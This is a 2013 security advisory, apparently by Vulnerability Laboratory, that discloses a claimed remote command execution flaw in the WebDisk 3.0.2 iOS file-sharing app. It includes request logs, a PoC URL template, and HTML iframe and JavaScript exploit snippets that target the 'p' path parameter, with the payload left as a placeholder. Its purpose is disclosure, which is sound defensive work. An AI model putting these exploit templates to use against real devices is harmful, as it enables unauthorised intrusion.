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WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability

#1
Code:
Title:
======
WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability
Date:
=====
2013-07-27
References:
===========
https://www.vulnerability-lab.com/get_content.php?id=1035
VL-ID:
=====
1035
Common Vulnerability Scoring System:
====================================
8.8
Introduction:
=============
WebDisk lets your iphone/ipad become a file website over wi-fi netwrk.You can upload/download your document
to your iphone/ipad on your pc browser over wi-fi and it is also a document viewer. Lets you direct view
your document on your iphone/iphone.
( Copy of the Homepage: https://itunes.apple.com/us/app/webdisk/id546221210 )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a remote code execution vulnerability in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone)
Report-Timeline:
================
2013-07-27:    Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Apple AppStore
Product: WebDisk PhotoViewer - Application 3.0.2
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
A remote command execution web vulnerability is detected in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone).
The vulnerability allows remote attacker to execute code inside of a vulnerable web application module to compromise the device.
The vulnerability is located in the afgetdir.ma file when processing to request manipulated path parameters. Remote attackers can
execute code from the main application index by using the upload input field. The code inside of the file upload field does not
require to choose a file for an upload but executes the context directly via GET variable. The result is a web application code
execution from the main index module. The code will be executed from the listing location under the upload input field of the
webdisk wifi application.
Exploitation of the vulnerability does not require user interaction or a privilege application user account.
Successful exploitation results webdisk web-application or apple device compromise via remote code execution.
Vulnerable Module(s):
                [+] Upload - Input Field
Vulnerable File(s):
                [+] afgetdir.ma
Vulnerable Parameter(s):
                [+] p (path)
Affected Module(s):
                [+] Index File Dir Listing
Proof of Concept:
=================
The remote command execution vulnerability can be exploited by remote attackers without privilege application user account or
user interaction. For demonstration or reproduce ...
--- Exploitation Request Session Logs ---
Status: 200[OK]
GET https://192.168.2.104:1861/aadd.htm
Load Flags[LOAD_BACKGROUND  ] Content Size[641] Mime Type[application/x-unknown-content-type]
Request Headers:
  Host[192.168.2.104:1861]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[https://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
Response Headers:
Content-Length[641]
Server[MHttpServer/1.0.0]
Status: 200[OK]
GET https://192.168.2.104:1861/[CODE EXECUTION]+PATH
Load Flags[LOAD_DOCUMENT_URI  ]
Content Size[0]
Mime Type[application/x-unknown-content-type]
Request Headers:
Host[192.168.2.104:1861]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[https://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
Response Headers:
Content-Length[0]
Server[MHttpServer/1.0.0]
URL=https://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications
%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[CODE EXECUTION]
Status: 200[OK]
GET https://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CW%5C[CODE EXE
Load Flags[LOAD_NORMAL] Content Size[20217] Mime Type[application/x-unknown-content-type]
Request Headers:
Host[192.168.2.104:1861]
  User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer
[https://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
Connection[keep-alive]
Response Headers:
Content-Length[20217]
Server[MHttpServer/1.0.0]
--- Exploitation Request Session Logs ---
Reference(s): mHTTP Web-Server
https://localhost:1861/
https://localhost:1861/mjs.js
https://localhost:1861/aadd.htm
https://localhost:1861/afgetthum.ma
PoC Example:
[HOST]:[PORT]/[FILE].[MA]?[PARAM Q]=%5C[PATH VAR]/[DIRECTION]%5C[ID]%5C[DOCUMNETS PATH]%5C[LIBRARY FOLDER]%5C[LOCAL PATH WDisk]%5C[COMMAND EXECUTION]
PoC Link:
https://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTI
PoC: Exploit 1 - HTML
<html>
<head><body><title>WebDisk v3.0.2 - Command Execution Vulnerability - Remote PoC</title>
<iframe src=https://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA
56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION] width=800 height=800>
</body></head>
<html>
PoC: Exploit 2 - JS
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3EWebDisk%20v3.0.2%20-%20Command%20Execution%20Vulnerability%20
-%20Remote%20PoC%3C/title%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A1861/afgetthum.ma%3Fp%3D%255Cvar%255Cmobile%255CApplications
%255C8D137E49-3793-4C45-9A50-B8AF3AE7EA%0A56%255CDocuments%255CLibrary%255CWD%255C%5BCOMMAND%20EXECUTION%5D%20width%3D800%20height%3D800
%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>
Review Source: tdmid
    <td colspan="3" height="1"><hr class="spline"></td>
  </tr>
  <tr>
    <td class="tdleft"><a href=""><img class="imgthum" src="afico/files_txt.png"></a></td>
    <td class="tdmid">>"[CODE EXECUTION VULNERABILITY!]</td>
    <td class="tdright">7-26 19:51<br/><br/><a href="afdelete.ma?p=%5Cvar%5Cmobile%5CApplications
%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C%7C-%7C430429876.txt">delete</a></td>
  </tr>
  <tr>
    <td colspan="3"  height="1"><hr class="spline" /></td>
  </tr>
Solution:
=========
To fix the command execution parse the p variable and encode the input on direct GET requests.
Parse and encode the output listing of the file input in the main file dir index module.
Risk:
=====
The security risk of the remote command execution web application vulnerability is estimated as critical.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
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